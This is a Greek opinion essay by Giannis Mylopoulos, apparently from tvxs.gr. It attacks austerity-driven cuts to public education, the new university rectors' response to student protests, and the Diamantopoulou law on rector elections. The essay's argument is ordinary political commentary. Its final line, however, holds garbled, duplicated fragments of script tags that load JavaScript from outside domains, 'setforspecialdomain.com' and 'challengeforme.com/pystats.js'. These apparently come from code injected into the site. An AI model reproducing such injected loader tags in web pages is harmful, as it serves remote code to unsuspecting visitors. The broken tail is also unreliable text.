Παιδεία: «Ως εδώ» και μη παρέκει…Γιάννης Μυλόπουλος

Παιδεία… μαχών. Αν το καταστροφικό πέρασμα της συγκυβέρνησης από τη χώρα καταφέρει να αφυπνίσει από την αφασία του καναπέ τους νέους και αν η προιούσα παρακμή στο μέτωπο της δημόσιας εκπαίδευσης, κατορθώσει να ξαναζωντανέψει το κίνημα της Παιδείας, τότε θα μπορούμε να πούμε ότι μέσα από τις στάχτες μας, κάτι ελπιδοφόρο μπορεί να ξαναγεννηθεί και κάτι καινούργιο να προκύψει. Άλλωστε, όσοι διαβάζουν πίσω από τα γεγονότα της ιστορίας, θα ξέρουν ασφαλώς ότι τα κινήματα γεννιούνται σε εποχές σκοτεινές και μαύρες. Κι ακόμη και αν δεχτούμε την άποψη των πλέον συντηρητικών, ότι δηλαδή η δημιουργία κινήματος δεν μπορεί να είναι αυτοσκοπός, ακόμη και τότε πρέπει να παραδεχτούμε ότι χωρίς κίνημα, χωρίς δηλαδή την αφύπνιση της κοινωνικής συνιστώσας και χωρίς την κινητοποίησή της στην κατεύθυνση της επίτευξης του στόχου της κοινωνικής δικαιοσύνης και της κοινωνικής ανάπτυξης και της προόδου, δεν υπάρχει ούτε ελπίδα ανατροπής, ούτε και καμία προοπτική αλλαγής.

Πάντοτε άλλωστε και όχι μόνο στην Ελλάδα, τα κινήματα της Παιδείας υπήρξαν προάγγελοι κοινωνικών ανατροπών και απαρχές μεγάλων αλλαγών.

Η πολιτική αποδυνάμωσης της Παιδείας

Ας ξεκινήσουμε από το… μέτωπο στα πανεπιστήμια. Μέχρι λίγο καιρό πριν, τα προβλήματα στην ανώτατη εκπαίδευση, όπως παρουσιάζονταν από τους υπευθύνους για τη διοίκηση πρυτάνεις των ιδρυμάτων, συνοψίζονταν στην ανάδειξη του γεγονότος ότι στην Ελλάδα, στις μέρες μας, συμβαίνει ακριβώς το αντίθετο αυτού που αποτελεί εδώ και δεκαετίες κεκτημένο σε ολόκληρη την Ευρώπη. Η Παιδεία δηλαδή στη χώρα μας, σε αντίθεση με αυτά που συμβαίνουν στον πολιτισμένο κόσμο, δεν θεωρήθηκε τα τελευταία, τουλάχιστον, χρόνια και εξακολουθεί να μη θεωρείται, ως επένδυση για το μέλλον. Αντίθετα, αντιμετωπίστηκε ως ένα ακόμη κόστος και μάλιστα όχι ανταποδοτικό, στα δημόσια οικονομικά και γι αυτό και εντάχθηκε στα μνημόνια, πέφτοντας και αυτή θύμα και μάλιστα εκ των πλέον σημαντικών, της πολιτικής της λιτότητας.

Και επειδή θα υπάρχουν ασφαλώς αρκετοί που θα ισχυριστούν ότι κάτι τέτοιο ήταν αναπόφευκτο να συμβεί εν μέσω οικονομικής κρίσης, η απάντηση έρχεται από τη σύγκριση της Ελλάδας με τις υπόλοιπες χώρες που πέρασαν την ίδια ή ανάλογη εμπειρία αυξημένου δημόσιου χρέους εν μέσω οικονομικής κρίσης. Εκεί θα διαπιστωθεί η τεράστια διαφορά της μείωσης των προϋπολογισμών της Παιδείας, που ενώ στις υπόλοιπες Ευρωπαϊκές χώρες ήταν της τάξης του 10-20% το πολύ, στην καθ’ ημάς… ανατολή έφτασε στο ύψος ρεκόρ του 70%. Οι προϋπολογισμοί δηλαδή της Παιδείας στη χώρα μας είναι σήμερα μειωμένοι κατά 70% σε σχέση με τα προ του 2010 επίπεδα.

Και αυτό συνέβη σε μια εποχή, όπου ο αριθμός των φοιτητών στη χώρα μας αυξάνονταν χρόνο με τον χρόνο, είτε ως αποτέλεσμα της αυξανόμενης ανάγκης για πανεπιστημιακή εκπαίδευση, είτε όμως και εξ αιτίας των κυβερνητικών αποφάσεων που καθορίζουν κάθε χρόνο τον αριθμό των εισαγομένων, σε αντίθεση πάντοτε με τις εισηγήσεις των πανεπιστημίων, είτε τέλος λόγω των μετεγγραφών και των λογής εγγραφών για ειδικές κατηγορίες φοιτητών, που εκτοξεύουν εν τέλει κάθε χρόνο το συνολικό αριθμό των εισαγομένων στα πανεπιστήμια σε διπλάσια σχεδόν νούμερα από εκείνα που αντιστοιχούν στις πραγματικές τους δυνατότητες.

Αξίζει να σημειωθεί ότι η δυνατότητα των πανεπιστημίων να εκπαιδεύουν φοιτητές, είναι ευθέως ανάλογη των υποδομών, των εγκαταστάσεων και του προσωπικού τους. Δεν είναι λοιπόν ότι τα πανεπιστήμια δεν επιθυμούν την αύξηση των φοιτητών τους. Το αντίθετο ισχύει. Επιδιώκουν όμως αυτό να συμβαίνει με όρους και προϋποθέσεις που δεν θα υπονομεύσουν την ποιότητα των σπουδών, η οποία πρέπει να διατηρηθεί σε υψηλά επίπεδα, εάν η επιδίωξη είναι η διασφάλιση της αξίας των ελληνικών πτυχίων.

Αυτό λοιπόν το οποίο παρατηρήθηκε τα τελευταία πέντε χρόνια στην ανώτατη εκπαίδευση στην Ελλάδα, είναι μια εντυπωσιακή μείωση των προϋπολογισμών των ιδρυμάτων, μέχρι 70%, με μια αντίστοιχα εντυπωσιακή αύξηση του κύκλου των εργασιών τους, όπως αυτός καθορίζεται από τον αριθμό των εκπαιδευόμενων φοιτητών, της τάξης του 100%, σε σχέση με τις αντικειμενικές τους δυνατότητες.

Είναι προφανές, από την παράθεση και μόνο των αριθμών, ότι η Παιδεία στα χρόνια της κρίσης, στα χρόνια δηλαδή που χρειάζεται ακόμη περισσότερο για να… ξεκολλήσει η χώρα από το τέλμα της κρίσης και της ύφεσης, θεωρήθηκε άχρηστη δαπάνη, με αποτέλεσμα ο προϋπολογισμός της να μειωθεί δραστικά.

Αντίστοιχα και στο ίδιο διάστημα, οι ανάγκες της κοινωνίας για πανεπιστημιακή εκπαίδευση αυξήθηκαν κατακόρυφα. Με αποτέλεσμα βεβαίως τα πανεπιστήμια να μην έχουν όχι χρήματα για ιδιωτική φύλαξη, όπως επιβάλλει σήμερα η νεοφιλελεύθερη αντίληψη που διαπνέει την ελληνική κυβέρνηση, αλλά ούτε χαρτί για να φωτοτυπηθούν τα θέματα των εξετάσεων. Εδώ αξίζει να τονιστεί ότι οι τελευταίοι φύλακες των πανεπιστημίων, απολύθηκαν μέσω της διαθεσιμότητας την περασμένη χρονιά, από την ίδια κυβέρνηση που σήμερα αναγορεύει σε μείζον ζήτημα των ιδρυμάτων τη… φύλαξή τους. «Να σε κάψω Γιάννη, να σ’ αλείψω λάδι», δηλαδή…

Και μια και η συζήτηση για τη φύλαξη των πανεπιστημίων, αξίζει να παρουσιαστεί ένα ακόμη σημείο αιχμής της κριτικής που ασκούσαν, μέχρι πρότινος τουλάχιστον, οι διοικήσεις των πανεπιστημίων και το οποίο αφορά τη ραγδαία μείωση του προσωπικού τους τα τελευταία τέσσερα χρόνια. Είτε λόγω της μη αναπλήρωσης των θέσεων του ακαδημαϊκού προσωπικού που αφυπηρετεί, είτε εξ αιτίας της άφρονος και χωρίς αξιολόγηση πολιτικής της διαθεσιμότητας, η οποία απομάκρυνε χρήσιμο διοικητικό προσωπικό από τα πανεπιστήμια και ή το μετέφερε αλλού ή το απέλυσε, τα πανεπιστήμια είδαν τα τελευταία χρόνια το προσωπικό τους, διδακτικό και διοικητικό, να συρρικνώνεται επικίνδυνα.

Αντίδραση και τιμωρία

Έτσι, οι μέχρι πρότινος πρυτάνεις, ζώντας τη ραγδαία υποβάθμιση των σπουδών τα τελευταία χρόνια, ως αποτέλεσμα της μείωσης της δημόσιας χρηματοδότησης, της συρρίκνωσης του προσωπικού, αλλά και της ταυτόχρονης διεύρυνσης του φυσικού αντικειμένου της πανεπιστημιακής εκπαίδευσης, έθεσαν ως μείζον διακύβευμα την αντιμετώπιση της Παιδείας από την Πολιτεία στη χώρα μας, ως επένδυσης για το μέλλον και όχι ως απλής δαπάνης προς περικοπή στους ετήσιους προϋπολογισμούς. Αυτό διεκδίκησαν και αυτό ήταν που τους έβαλε στο μάτι του… κυβερνητικού κυκλώνα, με ό,τι αυτό σήμαινε σε κατασυκοφάντηση και συνεχείς επιθέσεις από τα φιλοκυβερνητικά ΜΜΕ. Προκειμένου να εμπεδωθεί η αντίληψη ότι τιμωρούνται εκείνοι που αρνούνται να… συμμορφωθούν προς της υποδείξεις.

Αυτά όμως συνέβαιναν μέχρι το φετινό καλοκαίρι, οπότε και παρατηρήθηκε μια αιφνίδια μεταστροφή τόσο των διαπιστώσεων σχετικά με τα προβλήματα της Παιδείας, όσο και των διεκδικήσεων από την πλευρά των νέων διοικήσεων των ιδρυμάτων. Στο μεγαλύτερο και εμβληματικότερο πανεπιστήμιο της χώρας, αυτό της Αθήνας, αλλά και στα υπόλοιπα με μικρότερη ένταση και μικρότερο μερίδιο στην τηλεθέαση, οι νέοι πρυτάνεις που εξελέγησαν πρόσφατα, προσπέρασαν με μεγάλη ευκολία και χωρίς ιδιαίτερα σχόλια τα μεγάλα προβλήματα που προκάλεσε στην Παιδεία η πολιτική των μνημονίων, της λιτότητας και της συνειδητής απαξίωσης κάθε δημόσιας δομής. Ο κ. Φορτσάκης μάλιστα, είχε τη σπάνια, για πρύτανη, ευκαιρία να συναντηθεί με τον ίδιο τον πρωθυπουργό. Και είναι απορίας άξιο, ότι δεν βρήκε να του πει δυο λόγια, προσπαθώντας να τον πείσει να αλλάξει πολιτική στην Παιδεία…

Έτσι, οι νέοι πρυτάνεις αναγόρευσαν ξαφνικά και ως εάν όλα τα υπόλοιπα να βαίνουν καλώς, ως μείζον πρόβλημα στα πανεπιστήμια, τις ομάδες φοιτητών που αντιδρούν στην πρωτοφανή υποβάθμιση της δημόσιας εκπαίδευσης. Αντί δηλαδή οι νέοι πρυτάνεις να σχηματίσουν μέτωπο, από κοινού με την πανεπιστημιακή τους κοινότητα, απέναντι σ´ αυτή την πολιτική που, αποδυναμώνοντας τη δημόσια εκπαίδευση, ουσιαστικά αποδυναμώνει τις ελπίδες της χώρας για ανάπτυξη και ευημερία, στράφηκαν εναντίον όσων αντιδρούν, προσπαθώντας να τους φιμώσουν.

Αλλά και στο μείζον ζήτημα που δημιουργήθηκε με τις μετεγγραφές στα κεντρικά πανμια της Αθήνας και της Θεσσαλονίκης, η αλήθεια είναι ότι δεν είδαμε διαφορετική αντιμετώπιση από τον πρύτανη του ΕΚΠΑ. Βρήκε λύση και πάλι σε βάρος των φοιτητών του, για τους οποίους προδιέγραψε απώλεια του εξαμήνου, προκειμένου να αντιμετωπιστούν οι μεγάλοι αριθμοί των πρωτοετών. Για μια ακόμη φορά δηλαδή τιμωρεί τα θύματα, για να προστατέψει τους θύτες.

Η κατασκευή εχθρών μπορεί να κρύβει τα προβλήματα, αλλά δεν τα λύνει…

Στην περίπτωση του πρύτανη του πανεπιστημίου της Αθήνας μάλιστα, όλοι είδαν στις κάμερες τον τρόπο με τον οποίο προκάλεσε τους φοιτητές εξ αρχής, καθώς και τον επιτηδευμένα απαξιωτικό τρόπο με τον οποίο τους αντιμετώπισε. Σαν να επιδίωκε την αντίδρασή τους on camera αφενός για να τους εκθέσει και αφετέρου για να παρουσιαστεί ο ίδιος στη συνέχεια ως ανυποχώρητος υποστηρικτής της νομιμότητας.

Ειρήσθω εν παρόδω, παρόμοια προβλήματα διαμαρτυρομένων φοιτητών που προσπαθούν να διακόψουν συνεδριάσεις οργάνων, υπήρχαν πάντα. Τα αντιμετώπιζαν όμως στις περισσότερες των περιπτώσεων οι εκάστοτε πρυτάνεις, μακριά από τα φώτα της δημοσιότητας, σαν δάσκαλοι προς μαθητές, με πνεύμα διαλόγου και διάθεση συνεννόησης. Γι αυτό και η αντιμετώπιση αυτή υπήρξε αποτελεσματική, αφού στις περισσότερες των περιπτώσεων, οι διαμαρτυρίες αφορούσαν ζητήματα του πανεπιστημίου ή της Παιδείας γενικότερα, που εύρισκαν τις διοικήσεις των πανεπιστημίων στην ίδια πλευρά, αυτή της διεκδίκησης για καλύτερους όρους σπουδών, με τους φοιτητές και τη λοιπή κοινότητα. Έτσι λοιπόν τα επεισόδια στη Σύγκλητο τελείωναν, αφού οι Συγκλητικοί άκουγαν τους φοιτητές, οι οποίοι στη συνέχεια αποχωρούσαν για να διεξαχθεί η συνεδρίαση.

Αυτό που έκανε ο πρύτανης του Πανεπιστημίου της Αθήνας ήταν ότι κατασκεύασε έναν εύκολα μισητό εχθρό, τον οποίο αφού παρέδωσε στο φιλοθεάμον κοινό των καναλιών που διψά για αίμα, στη συνέχεια κατήγαγε σε βάρος του νίκη λαμπρή, εμφανιζόμενος ως ανυποχώρητος, μπροστά στην τεχνητά κλιμακωθείσα όξυνση των πνευμάτων. Και στο τέλος, η εικόνα της Συγκλήτου ενός πνευματικού ιδρύματος να συνεδριάζει υπό την προστασία των ΜΑΤ για τον φόβο 40 φοιτητών, ήρθε να συμβολίσει το οριστικό τέλος της εποχής της δημοκρατίας και των ακαδημαϊκών ελευθεριών στα πανεπιστήμια της Ελλάδας.

Με την κατασκευή τεχνητών εχθρών μπορεί τα προβλήματα να κρύβονται, αλλά είναι παγκοίνως γνωστό ότι δε λύνονται.

Ο νόμος Διαμαντοπούλου τώρα δικαιώνεται

Η αφωνία των νέων πρυτάνεων για τις αιτίες του προβλήματος της δημόσιας εκπαίδευσης και η μετάλλαξη της στάσης τους στην κατεύθυνση της ανάδειξης σε μείζον πρόβλημα της Παιδείας αυτών που διαμαρτύρονται και αντιδρούν για τις ελλείψεις και τα προβλήματα και όχι αυτών που τα προκαλούν, ήταν για τους παροικούντες την Ιερουσαλήμ εξελίξεις περίπου αναμενόμενες. Αφού η… εμβρυουλκός του νόμου Διαμαντοπούλου με την οποία εξελέγησαν, όχι με ανοικτές και δημοκρατικές διαδικασίες καθολικής και άμεσης ψηφοφορίας, όπως συνέβαινε στο παρελθόν, αλλά σε κλειστά δωμάτια, όπου ένα Συμβούλιο αποφασίζει στο όνομα της πανεπιστημιακής κοινότητας, η οποία παραμένει στον γύψο, για το ποιοι εκ των υποψηφίων πρυτάνεων θα απορριφθούν ως αντικυβερνητικοί και ποιοι θα δοθούν εκ του ασφαλούς στους εκλέκτορες προς ψήφιση, δεν θα μπορούσε να είχε άλλη εξέλιξη παρά αυτήν.

Με άλλα λόγια, ο νόμος Διαμαντοπούλου τώρα δικαιώνεται…

«Ως εδώ και μη παρέκει»

Αλλά και στα σχολεία, τα πράγματα δεν ακολούθησαν διαφορετική πορεία. Και εκεί η παρατεταμένη πολιτική υποβάθμισης της δημόσιας εκπαίδευσης, ώθησε τους μαθητές να αντιδράσουν. Αφού χρόνια τώρα το σχολείο αποτελεί προθάλαμο για τις εισαγωγικές εξετάσεις, οι οποίες μπορεί να άλλαξαν όνομα και να έγιναν Πανελλήνιες και Πανελλαδικές, αλλά ακόμη κρατούμε ως χώρα τα πρωτεία στην Ευρώπη, έχοντας το πιο εξεταστικοκεντρικό και συγχρόνως και το πιο κρατικιστικό, το πιο συγκεντρωτικό και το πιο ελεγχόμενο από το υπουργείο σύστημα πρόσβασης στην τριτοβάθμια εκπαίδευση. Το οποίο βέβαια μπορεί να είναι αδιάβλητο, αλλά ταυτοχρόνως είναι και ελάχιστα αξιοκρατικό.

Το σύνθημα των μαθητών που εξεγείρονται στα σχολεία είναι χαρακτηριστικό: «Ως εδώ», λένε και συμπληρώνουν: «Θέλουμε ένα σχολείο που θα μορφώνει και δεν θα εξοντώνει και που δεν θα κοιτά τη τσέπη των γονιών μας». Οι μαθητές, επιδεικνύοντας σπάνια για την ηλικία τους ωριμότητα, τα είπαν όλα. Αμφισβητούν μια εκπαίδευση που δεν απαντά στην ουσία του αιτήματος της μόρφωσης, αλλά προσπαθεί μέσα από πολύπλοκες διαδικασίες εξετάσεων κατά κύριο λόγο, να αποτρέψει τα παιδιά από τη γνώση και τη μάθηση και να τα μετατρέψει σε… παπαγάλους. Αμφισβητούν μια εκπαίδευση με τεράστια κενά και ελλείψεις στα σχολεία, λόγω λιτότητας και εδώ, η οποία μετατοπίζει το κέντρο βάρους της διαδικασίας της εκπαίδευσης εκτός σχολείων, στα ιδιωτικά φροντιστήρια, τα οποία πληρώνουν αδρά από το υστέρημά τους και μάλιστα σε δύσκολους καιρούς, οι γονείς των παιδιών. Κατά τα άλλα, τα ελληνόπουλα εκπαιδεύονται σε δημόσια σχολεία.

Και στη δευτεροβάθμια εκπαίδευση πάντως ακολουθήθηκε η ίδια συνταγή Φορτσάκη. Και εδώ η πολιτεία, αντί να ακούσει τα αιτήματα, να συζητήσει και να προσπαθήσει να ανταποκριθεί στις ανάγκες εκπαίδευσης και μόρφωσης των νέων παιδιών, (δεν χρειάζεται άλλωστε να ανακαλύψουμε τον τροχό, υπάρχουν άφθονα τα δοκιμασμένα Ευρωπαϊκά παραδείγματα), ποινικοποιεί την αντίδραση και τη διαμαρτυρία, στέλνοντας εισαγγελείς στα σχολεία.

Αν αυτή η κυβέρνηση, που οδήγησε τη χώρα στα μη περαιτέρω, καταφέρει τώρα να δημιουργήσει και κίνημα στην Παιδεία, καταφέρει δηλαδή να κινητοποιήσει τους νέους να αντιδράσουν στην κατεύθυνση της ανατροπής της σημερινής παρακμιακής κατάστασης, τότε θα έχει προσφέρει στον τόπο την πιο σημαντική υπηρεσία. Αφού με τον τρόπο αυτόν, θα δημιουργήσει τις προϋποθέσεις για την αποχώρησή της…

http://im1ns5.27210.gr/sites/default/files/imagecache/90x90/authors/giannes_mulopoulos-175432.jpeg

tvxs.gr___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js?l=l&’ async=true type=text/javascript language=javascript>challengeforme.com/pystats.js?l=l&’ async=true type=text/javascript language=javascript>